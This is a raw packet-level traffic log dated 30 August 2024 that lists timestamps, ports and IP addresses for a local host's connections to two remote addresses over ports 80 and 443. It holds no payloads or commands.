Aug 30, 2024 06:17:06.260035038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.260046005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.260046005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.260061026 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.260072947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.260096073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.260124922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.260169029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.262949944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.262959957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.262976885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.262986898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.262995005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.262998104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263014078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263015985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263025999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263046026 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263063908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263097048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263108015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263123035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263134003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263155937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263155937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263217926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263227940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263237953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263247013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263278961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263295889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263345003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263355970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263365030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263376951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263386965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263406992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263406992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263417959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263492107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263503075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263513088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263523102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263547897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263562918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263573885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263585091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263595104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263606071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263614893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263617992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263628006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263637066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263648987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263659000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263669968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263670921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263670921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263670921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263684034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263696909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263700008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263705969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263717890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263731956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263748884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263761997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263772964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263782978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263793945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263803959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263814926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263816118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263828039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263848066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.263864994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263874054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.263937950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276514053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276524067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276535034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276563883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276576042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276585102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276599884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276611090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276622057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276635885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276654959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276657104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276664972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276693106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276757956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276770115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276779890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276788950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276799917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276799917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276825905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276849985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276885033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276894093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276901007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276910067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276920080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276928902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276930094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276938915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.276946068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276964903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.276977062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.277009964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.277020931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.277029037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.277055979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.277076960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.277143955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.277153015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.277163029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.277173996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.277187109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.277213097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279045105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279053926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279062986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279097080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279093981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279103994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279134035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279164076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279175997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279212952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279299974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279311895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279321909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279344082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279366970 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279377937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279386997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279395103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279417992 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279431105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279467106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279476881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279485941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279494047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279504061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279515028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279542923 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279596090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279604912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279613018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279628038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279639006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279644012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279654026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.279658079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279680967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.279700994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285042048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285087109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285141945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285151958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285191059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285223961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285233021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285269976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285398960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285408020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285415888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285444975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285449982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285460949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285460949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285492897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285569906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285578966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285587072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285597086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285610914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285619020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285633087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285646915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285793066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285801888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285809994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285820007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285829067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285835981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285839081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285847902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285856962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285859108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285866976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285875082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285877943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285896063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285898924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285906076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285913944 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285917044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285928011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285936117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285936117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285947084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285962105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285965919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285972118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285978079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.285983086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285990953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.285995960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286000013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286010027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286017895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286020994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286046028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286048889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286057949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286062002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286084890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286092997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286283970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286294937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286304951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286313057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286324024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286326885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286334038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286339998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286344051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286355972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286366940 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286387920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286416054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286427021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286434889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286444902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286454916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286463022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286463022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286469936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286473036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286483049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286490917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286492109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286500931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286525965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286545992 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286582947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286592007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286604881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286613941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286628008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286645889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286698103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286708117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.286732912 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.286752939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.309582949 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.309600115 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.309663057 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.309670925 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.309705973 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.309910059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.309953928 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.309966087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.309968948 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310018063 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.310025930 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310043097 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.310061932 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.310151100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.310163021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.310179949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.310190916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.310203075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.310203075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.310214043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.310235023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.310235023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.310261011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.310683012 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310698986 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310743093 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.310749054 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310786963 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.310873032 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310894012 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310929060 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.310937881 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.310961962 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.310970068 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.311208010 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.311234951 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.311275959 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.311284065 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.311292887 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.311317921 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.311723948 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.311741114 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.311786890 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.311793089 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.311824083 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.312186956 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.312203884 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.312249899 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.312252998 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.312266111 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.312302113 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.312304020 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.312313080 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.312349081 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.347256899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347273111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347282887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347292900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347302914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347311974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347325087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347326040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347325087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347336054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347340107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347347021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347359896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347390890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.347481966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347491026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347501040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347511053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347521067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.347531080 CEST	49733	80	192.168.2.4	147.45.44.104
